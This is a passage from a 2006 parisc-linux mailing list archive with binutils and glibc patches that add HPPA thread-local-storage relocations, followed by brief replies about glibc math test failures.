@@ -1412,6 +1437,18 @@ cons_fix_new_hppa (frag, where, size, ex
     rel_type = R_HPPA_GOTOFF;
   else if (is_PC_relative (*exp))
     rel_type = R_HPPA_PCREL_CALL;
+#ifdef OBJ_ELF
+  else if (is_tls_gdidx (*exp))
+    rel_type = R_PARISC_TLS_GD21L;
+  else if (is_tls_ldidx (*exp))
+    rel_type = R_PARISC_TLS_LDM21L;
+  else if (is_tls_dtpoff (*exp))
+    rel_type = R_PARISC_TLS_LDO21L;
+  else if (is_tls_ieoff (*exp))
+    rel_type = R_PARISC_TLS_IE21L;
+  else if (is_tls_leoff (*exp))
+    rel_type = R_PARISC_TLS_LE21L;
+#endif
   else if (is_complex (*exp))
     rel_type = R_HPPA_COMPLEX;
   else
@@ -2974,6 +3011,18 @@ pa_ip (str)
 		    the_insn.reloc = R_HPPA_GOTOFF;
 		  else if (is_PC_relative (the_insn.exp))
 		    the_insn.reloc = R_HPPA_PCREL_CALL;
+#ifdef OBJ_ELF
+		  else if (is_tls_gdidx (the_insn.exp))
+		    the_insn.reloc = R_PARISC_TLS_GD21L;
+		  else if (is_tls_ldidx (the_insn.exp))
+		    the_insn.reloc = R_PARISC_TLS_LDM21L;
+		  else if (is_tls_dtpoff (the_insn.exp))
+		    the_insn.reloc = R_PARISC_TLS_LDO21L;
+		  else if (is_tls_ieoff (the_insn.exp))
+		    the_insn.reloc = R_PARISC_TLS_IE21L;
+		  else if (is_tls_leoff (the_insn.exp))
+		    the_insn.reloc = R_PARISC_TLS_LE21L;
+#endif
 		  else
 		    the_insn.reloc = R_HPPA;
 		  the_insn.format = 11;
@@ -3093,6 +3142,18 @@ pa_ip (str)
 		    the_insn.reloc = R_HPPA_GOTOFF;
 		  else if (is_PC_relative (the_insn.exp))
 		    the_insn.reloc = R_HPPA_PCREL_CALL;
+#ifdef OBJ_ELF
+		  else if (is_tls_gdidx (the_insn.exp))
+		    the_insn.reloc = R_PARISC_TLS_GD21L;
+		  else if (is_tls_ldidx (the_insn.exp))
+		    the_insn.reloc = R_PARISC_TLS_LDM21L;
+		  else if (is_tls_dtpoff (the_insn.exp))
+		    the_insn.reloc = R_PARISC_TLS_LDO21L;
+		  else if (is_tls_ieoff (the_insn.exp))
+		    the_insn.reloc = R_PARISC_TLS_IE21L;
+		  else if (is_tls_leoff (the_insn.exp))
+		    the_insn.reloc = R_PARISC_TLS_LE21L;
+#endif
 		  else
 		    the_insn.reloc = R_HPPA;
 		  the_insn.format = 14;
@@ -3123,6 +3184,18 @@ pa_ip (str)
 		    the_insn.reloc = R_HPPA_GOTOFF;
 		  else if (is_PC_relative (the_insn.exp))
 		    the_insn.reloc = R_HPPA_PCREL_CALL;
+#ifdef OBJ_ELF
+		  else if (is_tls_gdidx (the_insn.exp))
+		    the_insn.reloc = R_PARISC_TLS_GD21L;
+		  else if (is_tls_ldidx (the_insn.exp))
+		    the_insn.reloc = R_PARISC_TLS_LDM21L;
+		  else if (is_tls_dtpoff (the_insn.exp))
+		    the_insn.reloc = R_PARISC_TLS_LDO21L;
+		  else if (is_tls_ieoff (the_insn.exp))
+		    the_insn.reloc = R_PARISC_TLS_IE21L;
+		  else if (is_tls_leoff (the_insn.exp))
+		    the_insn.reloc = R_PARISC_TLS_LE21L;
+#endif
 		  else
 		    the_insn.reloc = R_HPPA;
 		  the_insn.format = 14;
@@ -3147,6 +3220,18 @@ pa_ip (str)
 		    the_insn.reloc = R_HPPA_GOTOFF;
 		  else if (is_PC_relative (the_insn.exp))
 		    the_insn.reloc = R_HPPA_PCREL_CALL;
+#ifdef OBJ_ELF
+		  else if (is_tls_gdidx (the_insn.exp))
+		    the_insn.reloc = R_PARISC_TLS_GD21L;
+		  else if (is_tls_ldidx (the_insn.exp))
+		    the_insn.reloc = R_PARISC_TLS_LDM21L;
+		  else if (is_tls_dtpoff (the_insn.exp))
+		    the_insn.reloc = R_PARISC_TLS_LDO21L;
+		  else if (is_tls_ieoff (the_insn.exp))
+		    the_insn.reloc = R_PARISC_TLS_IE21L;
+		  else if (is_tls_leoff (the_insn.exp))
+		    the_insn.reloc = R_PARISC_TLS_LE21L;
+#endif
 		  else
 		    the_insn.reloc = R_HPPA;
 		  the_insn.format = 14;
@@ -3171,6 +3256,18 @@ pa_ip (str)
 		    the_insn.reloc = R_HPPA_GOTOFF;
 		  else if (is_PC_relative (the_insn.exp))
 		    the_insn.reloc = R_HPPA_PCREL_CALL;
+#ifdef OBJ_ELF
+		  else if (is_tls_gdidx (the_insn.exp))
+		    the_insn.reloc = R_PARISC_TLS_GD21L;
+		  else if (is_tls_ldidx (the_insn.exp))
+		    the_insn.reloc = R_PARISC_TLS_LDM21L;
+		  else if (is_tls_dtpoff (the_insn.exp))
+		    the_insn.reloc = R_PARISC_TLS_LDO21L;
+		  else if (is_tls_ieoff (the_insn.exp))
+		    the_insn.reloc = R_PARISC_TLS_IE21L;
+		  else if (is_tls_leoff (the_insn.exp))
+		    the_insn.reloc = R_PARISC_TLS_LE21L;
+#endif
 		  else
 		    the_insn.reloc = R_HPPA;
 		  the_insn.format = 21;
@@ -3196,6 +3293,18 @@ pa_ip (str)
 		    the_insn.reloc = R_HPPA_GOTOFF;
 		  else if (is_PC_relative (the_insn.exp))
 		    the_insn.reloc = R_HPPA_PCREL_CALL;
+#ifdef OBJ_ELF
+		  else if (is_tls_gdidx (the_insn.exp))
+		    the_insn.reloc = R_PARISC_TLS_GD21L;
+		  else if (is_tls_ldidx (the_insn.exp))
+		    the_insn.reloc = R_PARISC_TLS_LDM21L;
+		  else if (is_tls_dtpoff (the_insn.exp))
+		    the_insn.reloc = R_PARISC_TLS_LDO21L;
+		  else if (is_tls_ieoff (the_insn.exp))
+		    the_insn.reloc = R_PARISC_TLS_IE21L;
+		  else if (is_tls_leoff (the_insn.exp))
+		    the_insn.reloc = R_PARISC_TLS_LE21L;
+#endif
 		  else
 		    the_insn.reloc = R_HPPA;
 		  the_insn.format = 14;
@@ -3222,6 +3331,18 @@ pa_ip (str)
 		    the_insn.reloc = R_HPPA_GOTOFF;
 		  else if (is_PC_relative (the_insn.exp))
 		    the_insn.reloc = R_HPPA_PCREL_CALL;
+#ifdef OBJ_ELF
+		  else if (is_tls_gdidx (the_insn.exp))
+		    the_insn.reloc = R_PARISC_TLS_GD21L;
+		  else if (is_tls_ldidx (the_insn.exp))
+		    the_insn.reloc = R_PARISC_TLS_LDM21L;
+		  else if (is_tls_dtpoff (the_insn.exp))
+		    the_insn.reloc = R_PARISC_TLS_LDO21L;
+		  else if (is_tls_ieoff (the_insn.exp))
+		    the_insn.reloc = R_PARISC_TLS_IE21L;
+		  else if (is_tls_leoff (the_insn.exp))
+		    the_insn.reloc = R_PARISC_TLS_LE21L;
+#endif
 		  else
 		    the_insn.reloc = R_HPPA;
 		  the_insn.format = 14;
@@ -3248,6 +3369,18 @@ pa_ip (str)
 		    the_insn.reloc = R_HPPA_GOTOFF;
 		  else if (is_PC_relative (the_insn.exp))
 		    the_insn.reloc = R_HPPA_PCREL_CALL;
+#ifdef OBJ_ELF
+		  else if (is_tls_gdidx (the_insn.exp))
+		    the_insn.reloc = R_PARISC_TLS_GD21L;
+		  else if (is_tls_ldidx (the_insn.exp))
+		    the_insn.reloc = R_PARISC_TLS_LDM21L;
+		  else if (is_tls_dtpoff (the_insn.exp))
+		    the_insn.reloc = R_PARISC_TLS_LDO21L;
+		  else if (is_tls_ieoff (the_insn.exp))
+		    the_insn.reloc = R_PARISC_TLS_IE21L;
+		  else if (is_tls_leoff (the_insn.exp))
+		    the_insn.reloc = R_PARISC_TLS_LE21L;
+#endif
 		  else
 		    the_insn.reloc = R_HPPA;
 		  the_insn.format = 14;
@@ -4661,6 +4794,25 @@ md_apply_fix (fixP, valP, seg)
       return;
     }
 
+#ifdef OBJ_ELF
+  switch (fixP->fx_r_type)
+    {
+      case R_PARISC_TLS_GD21L:
+      case R_PARISC_TLS_GD14R:
+      case R_PARISC_TLS_LDM21L:
+      case R_PARISC_TLS_LDM14R:
+      case R_PARISC_TLS_LE21L:
+      case R_PARISC_TLS_LE14R:
+      case R_PARISC_TLS_IE21L:
+      case R_PARISC_TLS_IE14R:
+        if (fixP->fx_addsy)
+	  S_SET_THREAD_LOCAL (fixP->fx_addsy);
+	break;
+      default:
+	break;
+    }
+#endif
+
   /* Insert the relocation.  */
   bfd_put_32 (stdoutput, insn, fixpos);
 }
Index: gas/config/tc-hppa.h
===================================================================
RCS file: /cvs/src/src/gas/config/tc-hppa.h,v
retrieving revision 1.30
diff -u -p -r1.30 tc-hppa.h
--- gas/config/tc-hppa.h	11 Aug 2005 01:25:25 -0000	1.30
+++ gas/config/tc-hppa.h	14 May 2006 23:14:46 -0000
@@ -175,7 +175,12 @@ int hppa_fix_adjustable PARAMS((struct f
 	|| (S_GET_SEGMENT (sym) == &bfd_abs_section \
 	    && ! S_IS_EXTERNAL (sym)) \
 	|| strcmp (S_GET_NAME (sym), "$global$") == 0 \
-	|| strcmp (S_GET_NAME (sym), "$PIC_pcrel$0") == 0) \
+	|| strcmp (S_GET_NAME (sym), "$PIC_pcrel$0") == 0 \
+	|| strcmp (S_GET_NAME (sym), "$tls_gdidx$") == 0 \
+	|| strcmp (S_GET_NAME (sym), "$tls_ldidx$") == 0 \
+	|| strcmp (S_GET_NAME (sym), "$tls_dtpoff$") == 0 \
+	|| strcmp (S_GET_NAME (sym), "$tls_ieoff$") == 0 \
+	|| strcmp (S_GET_NAME (sym), "$tls_leoff$") == 0) \
       punt = 1; \
   }
 
Index: include/elf/hppa.h
===================================================================
RCS file: /cvs/src/src/include/elf/hppa.h,v
retrieving revision 1.20
diff -u -p -r1.20 hppa.h
--- include/elf/hppa.h	20 Mar 2006 01:07:29 -0000	1.20
+++ include/elf/hppa.h	14 May 2006 23:14:47 -0000
@@ -480,8 +480,28 @@ RELOC_NUMBER (R_PARISC_LTOFF_TP16DF,   2
 RELOC_NUMBER (R_PARISC_GNU_VTENTRY,    232)
 RELOC_NUMBER (R_PARISC_GNU_VTINHERIT,  233)
 
+RELOC_NUMBER (R_PARISC_TLS_GD21L,      234)
+RELOC_NUMBER (R_PARISC_TLS_GD14R,      235)
+RELOC_NUMBER (R_PARISC_TLS_GDCALL,     236)
+RELOC_NUMBER (R_PARISC_TLS_LDM21L,     237)
+RELOC_NUMBER (R_PARISC_TLS_LDM14R,     238)
+RELOC_NUMBER (R_PARISC_TLS_LDMCALL,    239)
+RELOC_NUMBER (R_PARISC_TLS_LDO21L,     240)
+RELOC_NUMBER (R_PARISC_TLS_LDO14R,     241)
+RELOC_NUMBER (R_PARISC_TLS_DTPMOD32,   242)
+RELOC_NUMBER (R_PARISC_TLS_DTPMOD64,   243)
+RELOC_NUMBER (R_PARISC_TLS_DTPOFF32,   244)
+RELOC_NUMBER (R_PARISC_TLS_DTPOFF64,   245)
+
 END_RELOC_NUMBERS (R_PARISC_UNIMPLEMENTED)
 
+#define R_PARISC_TLS_LE21L     R_PARISC_TPREL21L
+#define R_PARISC_TLS_LE14R     R_PARISC_TPREL14R
+#define R_PARISC_TLS_IE21L     R_PARISC_LTOFF_TP21L
+#define R_PARISC_TLS_IE14R     R_PARISC_LTOFF_TP14R
+#define R_PARISC_TLS_TPREL32   R_PARISC_TPREL32
+#define R_PARISC_TLS_TPREL64   R_PARISC_TPREL64
+
 #ifndef RELOC_MACROS_GEN_FUNC
 typedef enum elf_hppa_reloc_type elf_hppa_reloc_type;
 #endif


------=_Part_4642_14911926.1147655678323
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
------=_Part_4642_14911926.1147655678323--



From - Thu Nov 08 21:34:45 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [PATCH] Add TLS relocs for hppa.
Date: Sun, 14 May 2006 21:16:40 -0400
Lines: 109
Approved: news@gmane.org
Message-ID: <119aab440605141816l78545927g3f98b082d9b7a4ec__25595.898126676$1416624091$gmane$org@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
  boundary="----=_Part_4666_30231266.1147655800996"
X-Trace: ger.gmane.org 1416624091 19630 80.91.229.3 (22 Nov 2014 02:41:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:41:31 +0000 (UTC)
To: libc-alpha@sources.redhat.com,
 parisc-linux <parisc-linux@lists.parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:31 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 15 May 2006 01:16:54 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx060) with SMTP; 15 May 2006 03:16:54 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C016E7D730;
	Sun, 14 May 2006 19:16:49 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 11751-07; Sun, 14 May 2006 19:16:49 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 510C97D731;
	Sun, 14 May 2006 19:16:48 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A41297D72F
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 14 May 2006 19:16:44 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 11751-04 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 14 May 2006 19:16:43 -0600 (MDT)
Original-Received: from nz-out-0102.google.com (nz-out-0102.google.com [64.233.162.195])
	by free.linux.hp.com (Postfix) with ESMTP id A1C4C7D72E
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 14 May 2006 19:16:43 -0600 (MDT)
Original-Received: by nz-out-0102.google.com with SMTP id k1so3912nzf
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 14 May 2006 18:16:41 -0700 (PDT)
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com;
	h=received:message-id:date:from:sender:to:subject:mime-version:content-type:x-google-sender-auth;
	b=KClrTo9sqg6TiEqK2q7DrhD6kQDBCMoWcE64V0qr+O9l4hSNhMWKIaztaFn4uVsigbX/RWNuIg5+NXEEequPi1RohStecdCP7PuO+DpzinnqDjVqLk6FBzKgi7zdd6T8PS8aNteDix1PgD5Q4SoRYz3CSzwTsQ/jZpWkf6f8kaY=
Original-Received: by 10.37.21.10 with SMTP id y10mr893223nzi;
	Sun, 14 May 2006 18:16:41 -0700 (PDT)
Original-Received: by 10.36.71.15 with HTTP; Sun, 14 May 2006 18:16:40 -0700 (PDT)
X-Google-Sender-Auth: 19bc71881301b62a
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: v+RUcLNxX1Vp6uuYY2Fy76x3SDc4NEzw
Status: R
X-Status: NT
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23691

------=_Part_4666_30231266.1147655800996
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: quoted-printable
Content-Disposition: inline

The following patch adds the TLS relocations required for hppa.

The specification draft for TLS support under hppa-linux is located here:
http://parisc-linux.org/documentation/tls/hppa-tls-implementation.pdf

Original TeX file:
http://cvs.parisc-linux.org/*checkout*/web/src/documentation/tls/hppa-tls-i=
mplementation.tex?content-type=3Dtext%2Fplain

Binutils patches are sent and awaiting approval.
GCC patches for TLS support are already in place.
GLIBC support is in place in libc-ports.

Please commit.

Cheers,
Carlos.

------=_Part_4666_30231266.1147655800996
Content-Type: application/octet-stream; name=Changelog.libc
Content-Transfer-Encoding: 7bit
X-Attachment-Id: f_en84ftam
Content-Disposition: attachment; filename="Changelog.libc"

2006-05-15  Carlos O'Donell  <carlos@systemhalted.org>

	* elf/elf.h (R_PARISC_PLABEL21L, R_PARISC_PLABEL14R,
	R_PARISC_GNU_VTENTRY, R_PARISC_GNU_VTINHERIT, R_PARISC_TLS_GD21L,
	R_PARISC_TLS_GD14R, R_PARISC_TLS_GDCALL, R_PARISC_TLS_LDM21L,
	R_PARISC_TLS_LDM14R, R_PARISC_TLS_LDMCALL, R_PARISC_TLS_LDO21L,
	R_PARISC_TLS_LDO14R, R_PARISC_TLS_DTPMOD32, R_PARISC_TLS_DTPMOD64,
	R_PARISC_TLS_DTPOFF32, R_PARISC_TLS_DTPOFF64, R_PARISC_TLS_LE21L,
	R_PARISC_TLS_LE14R, R_PARISC_TLS_IE21L, R_PARISC_TLS_IE14R,
	R_PARISC_TLS_TPREL32, R_PARISC_TLS_TPREL64): Define.



------=_Part_4666_30231266.1147655800996
Content-Type: application/octet-stream; name=patch-glibc-elf-2006-05-15.diff
Content-Transfer-Encoding: 7bit
X-Attachment-Id: f_en84fxf1
Content-Disposition: attachment; filename="patch-glibc-elf-2006-05-15.diff"

Index: elf/elf.h
===================================================================
RCS file: /cvs/glibc/libc/elf/elf.h,v
retrieving revision 1.154
diff -u -p -r1.154 elf.h
--- elf/elf.h	25 Feb 2006 01:57:44 -0000	1.154
+++ elf/elf.h	15 May 2006 00:55:57 -0000
@@ -1704,6 +1704,8 @@ typedef Elf32_Addr Elf32_Conflict;
 #define R_PARISC_LTOFF_FPTR14R	62	/* LT-rel. fct ptr, right 14 bits. */
 #define R_PARISC_FPTR64		64	/* 64 bits function address.  */
 #define R_PARISC_PLABEL32	65	/* 32 bits function address.  */
+#define R_PARISC_PLABEL21L	66	/* Left 21 bits of fdesc address */
+#define R_PARISC_PLABEL14R	70	/* Right 14 bits of fdesc address */
 #define R_PARISC_PCREL64	72	/* 64 bits PC-rel. address.  */
 #define R_PARISC_PCREL22F	74	/* 22 bits PC-rel. address.  */
 #define R_PARISC_PCREL14WR	75	/* PC-rel. address, right 14 bits.  */
@@ -1764,6 +1766,29 @@ typedef Elf32_Addr Elf32_Conflict;
 #define R_PARISC_LTOFF_TP16F	229	/* 16 bits LT-TP-rel. address.  */
 #define R_PARISC_LTOFF_TP16WF	230	/* 16 bits LT-TP-rel. address.  */
 #define R_PARISC_LTOFF_TP16DF	231	/* 16 bits LT-TP-rel. address.  */
+
+#define R_PARISC_GNU_VTENTRY    232
+#define R_PARISC_GNU_VTINHERIT  233
+#define R_PARISC_TLS_GD21L      234	/* GD 21-bit left */
+#define R_PARISC_TLS_GD14R      235	/* GD 14-bit right */
+#define R_PARISC_TLS_GDCALL     236	/* GD call to __t_g_a */
+#define R_PARISC_TLS_LDM21L     237	/* LD module 21-bit left */
+#define R_PARISC_TLS_LDM14R     238	/* LD module 14-bit right */
+#define R_PARISC_TLS_LDMCALL    239	/* LD module call to __t_g_a */
+#define R_PARISC_TLS_LDO21L     240	/* LD offset 21-bit left */
+#define R_PARISC_TLS_LDO14R     241	/* LD offset 14-bit right */
+#define R_PARISC_TLS_DTPMOD32   242	/* DTP module 32-bit */
+#define R_PARISC_TLS_DTPMOD64   243	/* DTP module 64-bit */
+#define R_PARISC_TLS_DTPOFF32   244	/* DTP offset 32-bit */
+#define R_PARISC_TLS_DTPOFF64   245	/* DTP offset 32-bit */
+
+#define R_PARISC_TLS_LE21L      R_PARISC_TPREL21L
+#define R_PARISC_TLS_LE14R      R_PARISC_TPREL14R
+#define R_PARISC_TLS_IE21L      R_PARISC_LTOFF_TP21L
+#define R_PARISC_TLS_IE14R      R_PARISC_LTOFF_TP14R
+#define R_PARISC_TLS_TPREL32    R_PARISC_TPREL32
+#define R_PARISC_TLS_TPREL64    R_PARISC_TPREL64
+
 #define R_PARISC_HIRESERVE	255
 
 /* Legal values for p_type field of Elf32_Phdr/Elf64_Phdr.  */


------=_Part_4666_30231266.1147655800996
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
------=_Part_4666_30231266.1147655800996--



From - Thu Nov 08 21:34:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Next step in glibc test math failures analysis
	;
Date: Tue, 16 May 2006 10:28:45 -0400 (EDT)
Lines: 16
Approved: news@gmane.org
Message-ID: <200605161428.k4GESjPE025534@hiauly1.hia.nrc.ca>
References: <IZD40G$E184A44107684D193BCA87FBC6894626@scarlet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624091 19631 80.91.229.3 (22 Nov 2014 02:41:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:41:31 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: soete.joel@tiscali.be (Joel Soete)
Original-X-From: - Wed Jul 02 21:27:31 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 16 May 2006 14:28:59 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx088) with SMTP; 16 May 2006 16:28:59 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 701807D772;
	Tue, 16 May 2006 08:28:52 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 08686-05; Tue, 16 May 2006 08:28:52 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D86587D76B;
	Tue, 16 May 2006 08:28:50 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 09C707D764
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 16 May 2006 08:28:48 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 08686-02 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 16 May 2006 08:28:47 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id F36957D763
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 16 May 2006 08:28:46 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged))
	by hiauly1.hia.nrc.ca (8.13.6/8.13.6) with ESMTP id k4GESjSa025535;
	Tue, 16 May 2006 10:28:46 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.6/8.13.6/Submit) id k4GESjPE025534;
	Tue, 16 May 2006 10:28:45 -0400 (EDT)
In-Reply-To: <IZD40G$E184A44107684D193BCA87FBC6894626@scarlet.be> from "Joel
	Soete" at May 16, 2006 04:24:16 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: mtRbfHQjPjlt6urBOTU2cq8zMTE2NUnL
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23692

> pr #27627
> include the test case and the precompile stuff.

A simpler testcase is to simply print '__builtin_nanf("")' in hex.
This is totally independent of the parisc-linux implementation.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: hppa64-...-gcc-4.1 annoying pb?
Date: Fri, 19 May 2006 09:28:25 -0400 (EDT)
Lines: 32
Approved: news@gmane.org
Message-ID: <200605191328.k4JDSPrm019529@hiauly1.hia.nrc.ca>
References: <IZI5N7$BB103ABBA779B9B522CAFD57168EE63C@scarlet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624091 19635 80.91.229.3 (22 Nov 2014 02:41:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:41:31 +0000 (UTC)
Cc: kyle@mcmartin.ca,
 parisc-linux@lists.parisc-linux.org
To: soete.joel@tiscali.be (Joel Soete)
Original-X-From: - Wed Jul 02 21:27:31 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 19 May 2006 13:28:38 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx001) with SMTP; 19 May 2006 15:28:38 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 320557D6AC;
	Fri, 19 May 2006 07:28:34 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 15448-08; Fri, 19 May 2006 07:28:34 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id CA8D17D6B0;
	Fri, 19 May 2006 07:28:32 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
